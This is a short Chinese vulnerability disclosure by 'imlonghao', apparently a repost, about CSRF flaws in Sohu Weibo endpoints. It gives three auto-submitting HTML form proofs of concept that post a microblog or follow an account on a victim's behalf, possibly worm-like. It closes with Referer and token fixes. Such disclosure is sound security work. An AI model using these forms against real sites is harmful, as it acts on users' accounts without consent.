搜狐微博的几处CSRF漏洞分析与解决方法


    搜狐某处CSRF漏洞,可能导致蠕虫蔓延,在未经用户同意的情况下发布微博
    详细说明:
    在接受POST和GET的信息的时候,未对POST来路(Referer)进行验证,同时也没有在POST的信息中加token验证信息的正确性,导致漏洞产生。
    漏洞地址:
    复制代码
    代码如下:
    http://t.sohu.com/t/twAction.jsp
    <html> www.jb51.net
    <body>
    <form name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
    <input type="text" name="msg" value="XX" />
    <input type="text" name="act" value="insertTwitter" />
    <input type="text" name="groupid" value="0" />
    <input type="submit" value="submit" />
    </form>
    <script>
     document.imlonghao.submit();
    </script>
    </body>
    </html>
    
     接口返回信息
     
    效果
    
    第二个
    复制代码
    代码如下:
    http://t.sohu.com/t/twAction.jsp
    <html>
    <body>
    <form name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
    <input type="text" name="msg" value="XX" />
    <input type="text" name="act" value="insertTwitter" />
    <input type="text" name="groupid" value="0" />
    <input type="submit" value="submit" />
    </form>
    <script>
     document.imlonghao.submit();
    </script>
    </body>
    </html>
     返回信息
    
    效果
    
    第三个:
    漏洞地址:
    复制代码
    代码如下:
    http://t.sohu.com/follow/addfollows
    <html> www.jb51.net
    <body>
    <form name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post">
    <input type="text" name="act" value="follow" />
    <input type="text" name="friendids" value="23117291" />
    <input type="text" name="uid" value="23117291" />
    <input type="submit" value="submit" />
    </form>
    <script>
     document.imlonghao.submit();
    </script>
    </body>
    </html>
      
    接口返回信息 
     
    效果 
    修复方案:
    检查POST来路Referer
    在POST的信息中加token
    作者:imlonghao